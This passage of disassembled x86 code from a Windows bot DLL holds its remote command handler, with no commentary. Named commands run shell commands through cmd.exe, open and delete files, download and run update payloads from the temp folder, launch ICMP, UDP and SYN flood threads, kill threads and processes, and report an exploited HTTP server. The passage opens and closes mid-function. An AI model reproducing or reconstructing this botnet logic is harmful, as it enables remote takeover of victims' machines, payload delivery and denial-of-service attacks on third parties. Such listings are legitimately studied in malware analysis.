		push	100h		; Count
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Str2]
		push	ecx		; Source
		lea	edx, [ebp+SubStr]
		push	edx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	100h		; Count
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		lea	ecx, [ebp+var_10F4]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		push	eax		; Source
		lea	edx, [ebp+var_10F4]
		push	edx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_10F4]
		push	eax		; char
		push	offset aRawS___	; "{RAW}: %s..."
		call	sub_10007293
		add	esp, 8
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10007EDE:				; CODE XREF: sub_10007424+9EDj
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Dst]
		push	edx		; Str2
		push	offset aOpen_5	; "open"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_10007FE7
		mov	eax, [ebp+var_1D4]
		cmp	[ebp+eax*4+Str2], 0
		jnz	short loc_10007F11
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10007F11:				; CODE XREF: sub_10007424+AE6j
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx
		push	offset aS_2	; " %s"
		push	100h		; Count
		lea	eax, [ebp+var_13F4]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		push	100h		; Count
		lea	ecx, [ebp+var_13F4]
		push	ecx		; SubStr
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		push	eax		; Source
		lea	eax, [ebp+File]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	100h		; Count
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx		; Source
		lea	eax, [ebp+var_13F4]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	100h		; Count
		lea	ecx, [ebp+var_13F4]
		push	ecx		; SubStr
		lea	edx, [ebp+File]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		push	eax		; Source
		lea	eax, [ebp+File]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	5		; nShowCmd
		push	0		; lpDirectory
		push	0		; lpParameters
		lea	ecx, [ebp+File]
		push	ecx		; lpFile
		push	offset aOpen_6	; "open"
		push	0		; hwnd
		call	ds:ShellExecuteA	; ShellExecuteA
		lea	edx, [ebp+var_13F4]
		push	edx		; char
		push	offset aOpenOpenedFile ; "{OPEN}: Opened file %s..."
		lea	eax, [ebp+Dest]
		push	eax		; int
		call	sub_10007303
		add	esp, 0Ch
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10007FE7:				; CODE XREF: sub_10007424+AD5j
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Dst]
		push	edx		; Str2
		push	offset aExec	; "exec"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_100080F8
		mov	eax, [ebp+var_1D4]
		cmp	[ebp+eax*4+Str2], 0
		jnz	short loc_1000801A
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_1000801A:				; CODE XREF: sub_10007424+BEFj
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx
		push	offset aS_3	; " %s"
		push	100h		; Count
		lea	eax, [ebp+var_16F4]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		push	100h		; Count
		lea	ecx, [ebp+var_16F4]
		push	ecx		; SubStr
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		push	eax		; Source
		lea	eax, [ebp+var_15F4]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	100h		; Count
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx		; Source
		lea	eax, [ebp+var_16F4]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		lea	ecx, [ebp+var_16F4]
		push	ecx		; SubStr
		lea	edx, [ebp+var_15F4]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		push	eax
		push	offset aCS	; "/C %s"
		push	100h		; Count
		lea	eax, [ebp+Parameters]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		push	0		; nShowCmd
		push	0		; lpDirectory
		lea	ecx, [ebp+Parameters]
		push	ecx		; lpParameters
		push	offset aCmd_exe	; "cmd.exe"
		push	offset aOpen_7	; "open"
		push	0		; hwnd
		call	ds:ShellExecuteA	; ShellExecuteA
		lea	edx, [ebp+var_16F4]
		push	edx		; char
		push	offset aExecuteExecute ; "{EXECUTE}: Executed file %s..."
		lea	eax, [ebp+Dest]
		push	eax		; int
		call	sub_10007303
		add	esp, 0Ch
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_100080F8:				; CODE XREF: sub_10007424+BDEj
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Dst]
		push	edx		; Str2
		push	offset aDelete	; "delete"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_100081F8
		mov	eax, [ebp+var_1D4]
		cmp	[ebp+eax*4+Str2], 0
		jnz	short loc_1000812B
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_1000812B:				; CODE XREF: sub_10007424+D00j
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx
		push	offset aS_4	; " %s"
		push	100h		; Count
		lea	eax, [ebp+var_18F4]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		push	100h		; Count
		lea	ecx, [ebp+var_18F4]
		push	ecx		; SubStr
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		push	eax		; Source
		lea	eax, [ebp+FileName]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	100h		; Count
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx		; Source
		lea	eax, [ebp+var_18F4]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	100h		; Count
		lea	ecx, [ebp+var_18F4]
		push	ecx		; SubStr
		lea	edx, [ebp+FileName]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		push	eax		; Source
		lea	eax, [ebp+FileName]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx		; char
		push	offset aDeletedFileS__ ; "{DELETED}: FILE %s..."
		lea	eax, [ebp+Dest]
		push	eax		; int
		call	sub_10007303
		add	esp, 0Ch
		lea	ecx, [ebp+FileName]
		push	ecx		; lpFileName
		call	ds:DeleteFileA	; DeleteFileA
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_100081F8:				; CODE XREF: sub_10007424+CEFj
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+Dst]
		push	eax		; Str2
		push	offset aSpeedtest ; "speedtest"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_10008349
		mov	ecx, [ebp+var_1D4]
		cmp	[ebp+ecx*4+Str2], 0
		jnz	short loc_1000822B
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_1000822B:				; CODE XREF: sub_10007424+E00j
		push	100h		; Count
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+Str2]
		push	eax		; Source
		lea	ecx, [ebp+var_1A08]
		push	ecx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		mov	edx, [ebp+var_1D4]
		cmp	[ebp+edx*4+Source], 0
		jz	short loc_10008274
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Source]
		push	ecx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	[ebp+var_2B50],	eax
		jmp	short loc_1000827E
; ---------------------------------------------------------------------------

loc_10008274:				; CODE XREF: sub_10007424+E32j
		mov	[ebp+var_2B50],	200h

loc_1000827E:				; CODE XREF: sub_10007424+E4Ej
		mov	edx, [ebp+var_2B50]
		mov	[ebp+var_1A0C],	edx
		push	10h		; Count
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+var_84]
		push	ecx		; Source
		lea	edx, [ebp+var_1908]
		push	edx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		mov	byte ptr [ebp+var_18F8], 0
		lea	eax, [ebp+var_1A08]
		push	eax		; int
		push	offset aSpeedtest_0 ; "speedtest"
		call	sub_1000A752
		add	esp, 8
		mov	[ebp+var_1A11+1], eax
		cmp	[ebp+var_1A11+1], 0FFFFFFFFh
		jnz	short loc_100082D9
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_100082D9:				; CODE XREF: sub_10007424+EAEj
		lea	ecx, [ebp+var_1A11+1]
		push	ecx
		push	offset sub_10005584
		call	sub_10004C65
		add	esp, 8
		mov	edx, [ebp+var_1A11+1]
		imul	edx, 0CCh
		mov	dword_10012EA0[edx], eax
		mov	eax, [ebp+var_1A11+1]
		imul	eax, 0CCh
		cmp	dword_10012EA0[eax], 0
		jnz	short loc_1000832A
		push	1
		mov	ecx, [ebp+var_1A11+1]
		push	ecx
		call	sub_1000AB26
		add	esp, 8
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_1000832A:				; CODE XREF: sub_10007424+EEEj
					; sub_10007424+F1Ej
		mov	edx, [ebp+var_18F8]
		and	edx, 0FFh
		test	edx, edx
		jnz	short loc_10008344
		push	0Ah		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_1000832A
; ---------------------------------------------------------------------------

loc_10008344:				; CODE XREF: sub_10007424+F14j
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008349:				; CODE XREF: sub_10007424+DEFj
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Dst]
		push	ecx		; Str2
		push	offset aDownlow	; "downlow"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_10008498
		mov	edx, [ebp+var_1D4]
		cmp	[ebp+edx*4+Source], 0
		jnz	short loc_1000837C
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_1000837C:				; CODE XREF: sub_10007424+F51j
		push	100h		; Count
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Str2]
		push	ecx		; Source
		lea	edx, [ebp+var_1C14]
		push	edx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	100h		; Count
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Source]
		push	ecx		; Source
		lea	edx, [ebp+var_1B14]
		push	edx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		mov	[ebp+var_1A13],	0
		mov	al, [ebp+var_116]
		mov	[ebp+var_1A12],	al
		mov	byte ptr [ebp+var_1A11], 0
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Source]
		push	edx
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Str2]
		push	ecx		; char
		push	offset aDownloadingDow ; "{DOWNLOADING}: Downloading file..."
		lea	edx, [ebp+Dest]
		push	edx		; int
		call	sub_10007303
		add	esp, 10h
		lea	eax, [ebp+var_1C14]
		push	eax		; int
		push	offset aDownload ; "download"
		call	sub_1000A752
		add	esp, 8
		mov	[ebp+var_1C18],	eax
		cmp	[ebp+var_1C18],	0FFFFFFFFh
		jnz	short loc_10008428
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008428:				; CODE XREF: sub_10007424+FFDj
		lea	ecx, [ebp+var_1C18]
		push	ecx
		push	offset sub_10005380
		call	sub_10004C65
		add	esp, 8
		mov	edx, [ebp+var_1C18]
		imul	edx, 0CCh
		mov	dword_10012EA0[edx], eax
		mov	eax, [ebp+var_1C18]
		imul	eax, 0CCh
		cmp	dword_10012EA0[eax], 0
		jnz	short loc_10008479
		push	1
		mov	ecx, [ebp+var_1C18]
		push	ecx
		call	sub_1000AB26
		add	esp, 8
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008479:				; CODE XREF: sub_10007424+103Dj
					; sub_10007424+106Dj
		mov	edx, [ebp+var_1A11]
		and	edx, 0FFh
		test	edx, edx
		jnz	short loc_10008493
		push	0Ah		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_10008479
; ---------------------------------------------------------------------------

loc_10008493:				; CODE XREF: sub_10007424+1063j
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008498:				; CODE XREF: sub_10007424+F40j
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Dst]
		push	ecx		; Str2
		push	offset aIcmp	; "icmp"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_100085D2
		mov	edx, [ebp+var_1D4]
		cmp	[ebp+edx*4+Source], 0
		jnz	short loc_100084CB
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_100084CB:				; CODE XREF: sub_10007424+10A0j
		push	80h		; Count
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Str2]
		push	ecx		; Source
		lea	edx, [ebp+var_1CA0]
		push	edx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Source]
		push	ecx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	[ebp+var_1CA4],	eax
		mov	dl, [ebp+var_122]
		mov	[ebp+var_1C20],	dl
		mov	byte ptr [ebp+var_1C1F], 0
		lea	eax, [ebp+var_1CA0]
		push	eax		; int
		push	offset aIcmpflood ; "icmpflood"
		call	sub_1000A752
		add	esp, 8
		mov	[ebp+Parameter], eax
		cmp	[ebp+Parameter], 0FFFFFFFFh
		jnz	short loc_10008540
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008540:				; CODE XREF: sub_10007424+1115j
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		lea	ecx, [ebp+Parameter]
		push	ecx		; lpParameter
		push	offset sub_1000B205 ; lpStartAddress
		push	20000h		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		mov	edx, [ebp+Parameter]
		imul	edx, 0CCh
		mov	dword_10012EA0[edx], eax
		mov	eax, [ebp+Parameter]
		imul	eax, 0CCh
		cmp	dword_10012EA0[eax], 0
		jnz	short loc_10008589
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008589:				; CODE XREF: sub_10007424+115Ej
					; sub_10007424+117Dj
		mov	ecx, [ebp+var_1C1F]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_100085A3
		push	0Ah		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_10008589
; ---------------------------------------------------------------------------

loc_100085A3:				; CODE XREF: sub_10007424+1173j
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+Source]
		push	eax
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx		; char
		push	offset aIcmpFloodingSF ; "ICMP-Flooding	%s for %s seconds."
		lea	eax, [ebp+Dest]
		push	eax		; int
		call	sub_10007303
		add	esp, 10h
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_100085D2:				; CODE XREF: sub_10007424+108Fj
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Dst]
		push	edx		; Str2
		push	offset aUdp	; "udp"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_10008737
		mov	eax, [ebp+var_1D4]
		cmp	[ebp+eax*4+var_74], 0
		jnz	short loc_10008605
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008605:				; CODE XREF: sub_10007424+11DAj
		push	80h		; Count
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx		; Source
		lea	eax, [ebp+var_1D2E]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Source]
		push	edx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	[ebp+var_1D30],	ax
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+var_74]
		push	ecx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		and	eax, 0FFFFh
		mov	[ebp+var_1D34],	eax
		mov	dl, [ebp+var_122]
		mov	[ebp+var_1CAE],	dl
		mov	byte ptr [ebp+var_1CAD], 0
		lea	eax, [ebp+var_1D2E]
		push	eax		; int
		push	offset aUdpflood ; "udpflood"
		call	sub_1000A752
		add	esp, 8
		mov	[ebp+var_1D38],	eax
		cmp	[ebp+var_1D38],	0FFFFFFFFh
		jnz	short loc_1000869A
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_1000869A:				; CODE XREF: sub_10007424+126Fj
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		lea	ecx, [ebp+var_1D38]
		push	ecx		; lpParameter
		push	offset sub_1000B442 ; lpStartAddress
		push	20000h		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		mov	edx, [ebp+var_1D38]
		imul	edx, 0CCh
		mov	dword_10012EA0[edx], eax
		mov	eax, [ebp+var_1D38]
		imul	eax, 0CCh
		cmp	dword_10012EA0[eax], 0
		jnz	short loc_100086E3
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_100086E3:				; CODE XREF: sub_10007424+12B8j
					; sub_10007424+12D7j
		mov	ecx, [ebp+var_1CAD]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_100086FD
		push	0Ah		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_100086E3
; ---------------------------------------------------------------------------

loc_100086FD:				; CODE XREF: sub_10007424+12CDj
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+var_74]
		push	eax
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Source]
		push	edx
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Str2]
		push	ecx		; char
		push	offset aUdpFloodingSOn ; "UDP-Flooding %s on port %s for %s secon"...
		lea	edx, [ebp+Dest]
		push	edx		; int
		call	sub_10007303
		add	esp, 14h
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008737:				; CODE XREF: sub_10007424+11C9j
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Dst]
		push	ecx		; Str2
		push	offset aSyn	; "syn"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_10008879
		mov	edx, [ebp+var_1D4]
		cmp	[ebp+edx*4+var_74], 0
		jnz	short loc_1000876A
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_1000876A:				; CODE XREF: sub_10007424+133Fj
		push	80h		; Count
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Str2]
		push	ecx		; Source
		lea	edx, [ebp+var_1DBE]
		push	edx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Source]
		push	ecx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	[ebp+var_1DC0],	ax
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+var_74]
		push	eax		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		and	eax, 0FFFFh
		mov	[ebp+var_1DC4],	eax
		mov	cl, [ebp+var_122]
		mov	[ebp+var_1D3E],	cl
		mov	byte ptr [ebp+var_1D3D], 0
		lea	edx, [ebp+var_1DBE]
		push	edx		; int
		push	offset aSynflood ; "synflood"
		call	sub_1000A752
		add	esp, 8
		mov	[ebp+var_1DC8],	eax
		cmp	[ebp+var_1DC8],	0FFFFFFFFh
		jnz	short loc_100087FF
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_100087FF:				; CODE XREF: sub_10007424+13D4j
		mov	eax, [ebp+var_1DC8]
		imul	eax, 0CCh
		mov	dword_10012EA0[eax], 0
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_10008820
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008820:				; CODE XREF: sub_10007424+13F5j
					; sub_10007424+1414j
		mov	edx, [ebp+var_1D3D]
		and	edx, 0FFh
		test	edx, edx
		jnz	short loc_1000883A
		push	0Ah		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_10008820
; ---------------------------------------------------------------------------

loc_1000883A:				; CODE XREF: sub_10007424+140Aj
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+var_74]
		push	ecx
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+Source]
		push	eax
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx
		push	offset byte_1002C868 ; char
		push	offset aSSynFloodingSO ; "%s SYN-Flooding %s on	port %s	for %s se"...
		lea	eax, [ebp+Dest]
		push	eax		; int
		call	sub_10007303
		add	esp, 18h
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008879:				; CODE XREF: sub_10007424+132Ej
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Dst]
		push	edx		; Str2
		push	offset aDdosstop ; "ddosstop"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_100088D6
		push	offset aIcmpflood_0 ; "icmpflood"
		call	sub_1000A8D0
		add	esp, 4
		push	offset aUdpflood_0 ; "udpflood"
		call	sub_1000A8D0
		add	esp, 4
		push	offset aSynflood_0 ; "synflood"
		call	sub_1000A8D0
		add	esp, 4
		push	offset aDdosFloodHasSt ; "DDOS FLOOD HAS STOPPED"
		lea	eax, [ebp+Dest]
		push	eax		; int
		call	sub_10007303
		add	esp, 8
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_100088D6:				; CODE XREF: sub_10007424+1470j
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Dst]
		push	edx		; Str2
		push	offset aUpdate	; "update"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_10008AAA
		mov	eax, [ebp+var_1D4]
		cmp	[ebp+eax*4+Str2], 0
		jnz	short loc_10008909
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008909:				; CODE XREF: sub_10007424+14DEj
		mov	ecx, [ebp+var_1D4]
		cmp	[ebp+ecx*4+Source], 0
		jz	short loc_10008937
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+Source]
		push	eax		; Str2
		push	offset Name	; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10008937
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008937:				; CODE XREF: sub_10007424+14F0j
					; sub_10007424+150Cj
		push	100h		; Count
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx		; Source
		lea	eax, [ebp+var_1FCC]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		lea	ecx, [ebp+Buffer]
		push	ecx		; lpBuffer
		push	100h		; nBufferLength
		call	ds:GetTempPathA	; GetTempPathA
		push	0Ch		; Count
		call	sub_10006FA2
		push	eax		; Source
		lea	edx, [ebp+var_20DC]
		push	edx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		mov	al, [ebp+var_110]
		mov	byte ptr [ebp+var_1DCC], al
		mov	ecx, [ebp+var_1DCC]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_100089A9
		mov	[ebp+var_2B54],	offset aExe ; "exe"
		jmp	short loc_100089B3
; ---------------------------------------------------------------------------

loc_100089A9:				; CODE XREF: sub_10007424+1577j
		mov	[ebp+var_2B54],	offset aDll ; "dll"

loc_100089B3:				; CODE XREF: sub_10007424+1583j
		mov	edx, [ebp+var_2B54]
		push	edx
		lea	eax, [ebp+var_20DC]
		push	eax
		lea	ecx, [ebp+Buffer]
		push	ecx
		push	offset aSS_S	; "%s\\%s.%s"
		push	100h		; Count
		lea	edx, [ebp+var_1ECC]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 18h
		mov	byte ptr [ebp+var_1DCC+1], 1
		mov	byte ptr [ebp+var_1DCC+2], 0
		mov	byte ptr [ebp+var_1DCC+3], 0
		lea	eax, [ebp+var_20DC]
		push	eax		; char
		push	offset aUpdatingUpdate ; "{UPDATING}: Updated file... [FILE: %s]"
		lea	ecx, [ebp+Dest]
		push	ecx		; int
		call	sub_10007303
		add	esp, 0Ch
		lea	edx, [ebp+var_1FCC]
		push	edx		; int
		push	offset aUpdate_0 ; "update"
		call	sub_1000A752
		add	esp, 8
		mov	[ebp+var_1FD0],	eax
		cmp	[ebp+var_1FD0],	0FFFFFFFFh
		jnz	short loc_10008A3A
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008A3A:				; CODE XREF: sub_10007424+160Fj
		lea	eax, [ebp+var_1FD0]
		push	eax
		push	offset sub_10005380
		call	sub_10004C65
		add	esp, 8
		mov	ecx, [ebp+var_1FD0]
		imul	ecx, 0CCh
		mov	dword_10012EA0[ecx], eax
		mov	edx, [ebp+var_1FD0]
		imul	edx, 0CCh
		cmp	dword_10012EA0[edx], 0
		jnz	short loc_10008A8B
		push	1
		mov	eax, [ebp+var_1FD0]
		push	eax
		call	sub_1000AB26
		add	esp, 8
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008A8B:				; CODE XREF: sub_10007424+164Fj
					; sub_10007424+167Fj
		mov	ecx, [ebp+var_1DCC+3]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_10008AA5
		push	0Ah		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_10008A8B
; ---------------------------------------------------------------------------

loc_10008AA5:				; CODE XREF: sub_10007424+1675j
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008AAA:				; CODE XREF: sub_10007424+14CDj
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+Dst]
		push	eax		; Str2
		push	offset aHttpd	; "!httpd"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10008AE5
		push	offset byte_1002C5D8 ; char
		push	offset aExploitedHttpS ; "{EXPLOITED-HTTP}: Started on %s:83...\r\n"...
		lea	ecx, [ebp+Dest]
		push	ecx		; int
		call	sub_10007303
		add	esp, 0Ch
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008AE5:				; CODE XREF: sub_10007424+16A1j
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+Dst]
		push	eax		; Str2
		push	offset aTl	; "tl"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10008B1D
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+var_84]
		push	edx
		call	sub_1000A858
		add	esp, 4
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008B1D:				; CODE XREF: sub_10007424+16DCj
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Dst]
		push	ecx		; Str2
		push	offset aTk	; "tk"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10008B83
		mov	edx, [ebp+var_1D4]
		cmp	[ebp+edx*4+Str2], 0
		jnz	short loc_10008B4C
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008B4C:				; CODE XREF: sub_10007424+1721j
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Str2]
		push	ecx		; Str1
		call	sub_1000A8D0
		add	esp, 4
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+Str2]
		push	eax		; char
		push	offset aThreadsKilledT ; "{THREADS}: Killed thread %s..."
		lea	ecx, [ebp+Dest]
		push	ecx		; int
		call	sub_10007303
		add	esp, 0Ch
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008B83:				; CODE XREF: sub_10007424+1714j
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+Dst]
		push	eax		; Str2
		push	offset aKpid	; "kpid"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10008BF3
		mov	ecx, [ebp+var_1D4]
		cmp	[ebp+ecx*4+Str2], 0
		jnz	short loc_10008BB2
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10008BB2:				; CODE XREF: sub_10007424+1787j
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+Str2]
		push	eax		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		push	eax
		call	sub_1000AA09
		add	esp, 4
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx		; char
		push	offset aThreadsKille_0 ; "{THREADS}: Killed thread %s..."
		lea	eax, [ebp+Dest]
		push	eax		; int
		call	sub_10007303
